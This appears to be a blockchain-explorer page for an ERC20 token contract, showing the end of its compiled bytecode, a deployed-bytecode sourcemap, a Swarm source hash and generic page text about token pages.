50565b5f6020820190508181035f8301526113db816113a2565b9050919050565b5f6113ec82610cec565b91506113f783610cec565b925082820390508181111561140f5761140e610ecd565b5b92915050565b5f6060820190506114285f830186610e67565b6114356020830185610e67565b6114426040830184610d90565b949350505050565b61145381610d5d565b811461145d575f80fd5b50565b5f8151905061146e8161144a565b92915050565b5f6020828403121561148957611488610c8e565b5b5f61149684828501611460565b91505092915050565b5f6114a982610cec565b91506114b483610cec565b92508282019050808211156114cc576114cb610ecd565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611506601b83610c08565b9150611511826114d2565b602082019050919050565b5f6020820190508181035f830152611533816114fa565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205506018dce7c788f4f5cc169dad169adabe13e75ba5597b148712dc6d61af75164736f6c634300081a0033

Deployed Bytecode Sourcemap

2809:3139:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3882:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3713:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4159:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5628:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3971:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3411:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2652:148;;;:::i;:::-;;2438:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4060:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3538:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4259:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3882:83;3919:13;3952:5;;;;;;;;;;;;;;;;;3945:12;;3882:83;:::o;3713:161::-;3788:4;3805:39;3814:12;:10;:12::i;:::-;3828:7;3837:6;3805:8;:39::i;:::-;3862:4;3855:11;;3713:161;;;;:::o;4159:94::-;4212:7;3061:2;3116;:15;;;;:::i;:::-;3104:9;:27;;;;:::i;:::-;4232:13;;4159:94;:::o;5628:313::-;5726:4;5743:36;5753:6;5761:9;5772:6;5743:9;:36::i;:::-;5790:121;5799:6;5807:12;:10;:12::i;:::-;5821:89;5859:6;5821:89;;;;;;;;;;;;;;;;;:11;:19;5833:6;5821:19;;;;;;;;;;;;;;;:33;5841:12;:10;:12::i;:::-;5821:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5790:8;:121::i;:::-;5929:4;5922:11;;5628:313;;;;;:::o;3971:83::-;4012:5;3061:2;4030:16;;3971:83;:::o;3411:119::-;3477:7;3504:9;:18;3514:7;3504:18;;;;;;;;;;;;;;;;3497:25;;3411:119;;;:::o;2652:148::-;2575:12;:10;:12::i;:::-;2565:22;;:6;;;;;;;;;;:22;;;2557:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2759:1:::1;2722:40;;2743:6;::::0;::::1;;;;;;;;2722:40;;;;;;;;;;;;2790:1;2773:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2652:148::o:0;2438:79::-;2476:7;2503:6;;;;;;;;;;;2496:13;;2438:79;:::o;4060:87::-;4099:13;4132:7;;;;;;;;;;;;;;;;;4125:14;;4060:87;:::o;3538:167::-;3616:4;3633:42;3643:12;:10;:12::i;:::-;3657:9;3668:6;3633:9;:42::i;:::-;3693:4;3686:11;;3538:167;;;;:::o;4259:143::-;4340:7;4367:11;:18;4379:5;4367:18;;;;;;;;;;;;;;;:27;4386:7;4367:27;;;;;;;;;;;;;;;;4360:34;;4259:143;;;;:::o;190:98::-;243:7;270:10;263:17;;190:98;:::o;4408:335::-;4518:1;4501:19;;:5;:19;;;4493:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4599:1;4580:21;;:7;:21;;;4572:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4681:6;4651:11;:18;4663:5;4651:18;;;;;;;;;;;;;;;:27;4670:7;4651:27;;;;;;;;;;;;;;;:36;;;;4719:7;4703:32;;4712:5;4703:32;;;4728:6;4703:32;;;;;;:::i;:::-;;;;;;;;4408:335;;;:::o;4755:584::-;4873:1;4857:18;;:4;:18;;;4849:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4950:1;4936:16;;:2;:16;;;4928:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5005:19;5027:9;:15;5037:4;5027:15;;;;;;;;;;;;;;;;5005:37;;5079:6;5064:11;:21;;5056:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5130:46;5161:4;5166:2;5169:6;5130:20;:46::i;:::-;5229:6;5215:11;:20;;;;:::i;:::-;5197:9;:15;5207:4;5197:15;;;;;;;;;;;;;;;:38;;;;5264:25;5282:6;5264:9;:13;5274:2;5264:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;5248:9;:13;5258:2;5248:13;;;;;;;;;;;;;;;:41;;;;5320:2;5305:26;;5314:4;5305:26;;;5324:6;5305:26;;;;;;:::i;:::-;;;;;;;;4838:501;4755:584;;;:::o;1190:190::-;1276:7;1309:1;1304;:6;;1312:12;1296:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1336:9;1352:1;1348;:5;;;;:::i;:::-;1336:17;;1371:1;1364:8;;;1190:190;;;;;:::o;5353:269::-;5496:80;5454:144;;;5599:4;5604:2;5607:6;5454:160;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5353:269;;;:::o;1005:179::-;1063:7;1083:9;1099:1;1095;:5;;;;:::i;:::-;1083:17;;1124:1;1119;:6;;1111:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1175:1;1168:8;;;1005:179;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:180::-;5961:77;5958:1;5951:88;6058:4;6055:1;6048:15;6082:4;6079:1;6072:15;6099:102;6141:8;6188:5;6185:1;6181:13;6160:34;;6099:102;;;:::o;6207:848::-;6268:5;6275:4;6299:6;6290:15;;6323:5;6314:14;;6337:712;6358:1;6348:8;6345:15;6337:712;;;6453:4;6448:3;6444:14;6438:4;6435:24;6432:50;;;6462:18;;:::i;:::-;6432:50;6512:1;6502:8;6498:16;6495:451;;;6927:4;6920:5;6916:16;6907:25;;6495:451;6977:4;6971;6967:15;6959:23;;7007:32;7030:8;7007:32;:::i;:::-;6995:44;;6337:712;;;6207:848;;;;;;;:::o;7061:1073::-;7115:5;7306:8;7296:40;;7327:1;7318:10;;7329:5;;7296:40;7355:4;7345:36;;7372:1;7363:10;;7374:5;;7345:36;7441:4;7489:1;7484:27;;;;7525:1;7520:191;;;;7434:277;;7484:27;7502:1;7493:10;;7504:5;;;7520:191;7565:3;7555:8;7552:17;7549:43;;;7572:18;;:::i;:::-;7549:43;7621:8;7618:1;7614:16;7605:25;;7656:3;7649:5;7646:14;7643:40;;;7663:18;;:::i;:::-;7643:40;7696:5;;;7434:277;;7820:2;7810:8;7807:16;7801:3;7795:4;7792:13;7788:36;7770:2;7760:8;7757:16;7752:2;7746:4;7743:12;7739:35;7723:111;7720:246;;;7876:8;7870:4;7866:19;7857:28;;7911:3;7904:5;7901:14;7898:40;;;7918:18;;:::i;:::-;7898:40;7951:5;;7720:246;7991:42;8029:3;8019:8;8013:4;8010:1;7991:42;:::i;:::-;7976:57;;;;8065:4;8060:3;8056:14;8049:5;8046:25;8043:51;;;8074:18;;:::i;:::-;8043:51;8123:4;8116:5;8112:16;8103:25;;7061:1073;;;;;;:::o;8140:281::-;8198:5;8222:23;8240:4;8222:23;:::i;:::-;8214:31;;8266:25;8282:8;8266:25;:::i;:::-;8254:37;;8310:104;8347:66;8337:8;8331:4;8310:104;:::i;:::-;8301:113;;8140:281;;;;:::o;8427:410::-;8467:7;8490:20;8508:1;8490:20;:::i;:::-;8485:25;;8524:20;8542:1;8524:20;:::i;:::-;8519:25;;8579:1;8576;8572:9;8601:30;8619:11;8601:30;:::i;:::-;8590:41;;8780:1;8771:7;8767:15;8764:1;8761:22;8741:1;8734:9;8714:83;8691:139;;8810:18;;:::i;:::-;8691:139;8475:362;8427:410;;;;:::o;8843:182::-;8983:34;8979:1;8971:6;8967:14;8960:58;8843:182;:::o;9031:366::-;9173:3;9194:67;9258:2;9253:3;9194:67;:::i;:::-;9187:74;;9270:93;9359:3;9270:93;:::i;:::-;9388:2;9383:3;9379:12;9372:19;;9031:366;;;:::o;9403:419::-;9569:4;9607:2;9596:9;9592:18;9584:26;;9656:9;9650:4;9646:20;9642:1;9631:9;9627:17;9620:47;9684:131;9810:4;9684:131;:::i;:::-;9676:139;;9403:419;;;:::o;9828:223::-;9968:34;9964:1;9956:6;9952:14;9945:58;10037:6;10032:2;10024:6;10020:15;10013:31;9828:223;:::o;10057:366::-;10199:3;10220:67;10284:2;10279:3;10220:67;:::i;:::-;10213:74;;10296:93;10385:3;10296:93;:::i;:::-;10414:2;10409:3;10405:12;10398:19;;10057:366;;;:::o;10429:419::-;10595:4;10633:2;10622:9;10618:18;10610:26;;10682:9;10676:4;10672:20;10668:1;10657:9;10653:17;10646:47;10710:131;10836:4;10710:131;:::i;:::-;10702:139;;10429:419;;;:::o;10854:221::-;10994:34;10990:1;10982:6;10978:14;10971:58;11063:4;11058:2;11050:6;11046:15;11039:29;10854:221;:::o;11081:366::-;11223:3;11244:67;11308:2;11303:3;11244:67;:::i;:::-;11237:74;;11320:93;11409:3;11320:93;:::i;:::-;11438:2;11433:3;11429:12;11422:19;;11081:366;;;:::o;11453:419::-;11619:4;11657:2;11646:9;11642:18;11634:26;;11706:9;11700:4;11696:20;11692:1;11681:9;11677:17;11670:47;11734:131;11860:4;11734:131;:::i;:::-;11726:139;;11453:419;;;:::o;11878:224::-;12018:34;12014:1;12006:6;12002:14;11995:58;12087:7;12082:2;12074:6;12070:15;12063:32;11878:224;:::o;12108:366::-;12250:3;12271:67;12335:2;12330:3;12271:67;:::i;:::-;12264:74;;12347:93;12436:3;12347:93;:::i;:::-;12465:2;12460:3;12456:12;12449:19;;12108:366;;;:::o;12480:419::-;12646:4;12684:2;12673:9;12669:18;12661:26;;12733:9;12727:4;12723:20;12719:1;12708:9;12704:17;12697:47;12761:131;12887:4;12761:131;:::i;:::-;12753:139;;12480:419;;;:::o;12905:222::-;13045:34;13041:1;13033:6;13029:14;13022:58;13114:5;13109:2;13101:6;13097:15;13090:30;12905:222;:::o;13133:366::-;13275:3;13296:67;13360:2;13355:3;13296:67;:::i;:::-;13289:74;;13372:93;13461:3;13372:93;:::i;:::-;13490:2;13485:3;13481:12;13474:19;;13133:366;;;:::o;13505:419::-;13671:4;13709:2;13698:9;13694:18;13686:26;;13758:9;13752:4;13748:20;13744:1;13733:9;13729:17;13722:47;13786:131;13912:4;13786:131;:::i;:::-;13778:139;;13505:419;;;:::o;13930:225::-;14070:34;14066:1;14058:6;14054:14;14047:58;14139:8;14134:2;14126:6;14122:15;14115:33;13930:225;:::o;14161:366::-;14303:3;14324:67;14388:2;14383:3;14324:67;:::i;:::-;14317:74;;14400:93;14489:3;14400:93;:::i;:::-;14518:2;14513:3;14509:12;14502:19;;14161:366;;;:::o;14533:419::-;14699:4;14737:2;14726:9;14722:18;14714:26;;14786:9;14780:4;14776:20;14772:1;14761:9;14757:17;14750:47;14814:131;14940:4;14814:131;:::i;:::-;14806:139;;14533:419;;;:::o;14958:194::-;14998:4;15018:20;15036:1;15018:20;:::i;:::-;15013:25;;15052:20;15070:1;15052:20;:::i;:::-;15047:25;;15096:1;15093;15089:9;15081:17;;15120:1;15114:4;15111:11;15108:37;;;15125:18;;:::i;:::-;15108:37;14958:194;;;;:::o;15158:442::-;15307:4;15345:2;15334:9;15330:18;15322:26;;15358:71;15426:1;15415:9;15411:17;15402:6;15358:71;:::i;:::-;15439:72;15507:2;15496:9;15492:18;15483:6;15439:72;:::i;:::-;15521;15589:2;15578:9;15574:18;15565:6;15521:72;:::i;:::-;15158:442;;;;;;:::o;15606:116::-;15676:21;15691:5;15676:21;:::i;:::-;15669:5;15666:32;15656:60;;15712:1;15709;15702:12;15656:60;15606:116;:::o;15728:137::-;15782:5;15813:6;15807:13;15798:22;;15829:30;15853:5;15829:30;:::i;:::-;15728:137;;;;:::o;15871:345::-;15938:6;15987:2;15975:9;15966:7;15962:23;15958:32;15955:119;;;15993:79;;:::i;:::-;15955:119;16113:1;16138:61;16191:7;16182:6;16171:9;16167:22;16138:61;:::i;:::-;16128:71;;16084:125;15871:345;;;;:::o;16222:191::-;16262:3;16281:20;16299:1;16281:20;:::i;:::-;16276:25;;16315:20;16333:1;16315:20;:::i;:::-;16310:25;;16358:1;16355;16351:9;16344:16;;16379:3;16376:1;16373:10;16370:36;;;16386:18;;:::i;:::-;16370:36;16222:191;;;;:::o;16419:177::-;16559:29;16555:1;16547:6;16543:14;16536:53;16419:177;:::o;16602:366::-;16744:3;16765:67;16829:2;16824:3;16765:67;:::i;:::-;16758:74;;16841:93;16930:3;16841:93;:::i;:::-;16959:2;16954:3;16950:12;16943:19;;16602:366;;;:::o;16974:419::-;17140:4;17178:2;17167:9;17163:18;17155:26;;17227:9;17221:4;17217:20;17213:1;17202:9;17198:17;17191:47;17255:131;17381:4;17255:131;:::i;:::-;17247:139;;16974:419;;;:::o

Swarm Source

ipfs://5506018dce7c788f4f5cc169dad169adabe13e75ba5597b148712dc6d61af751
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.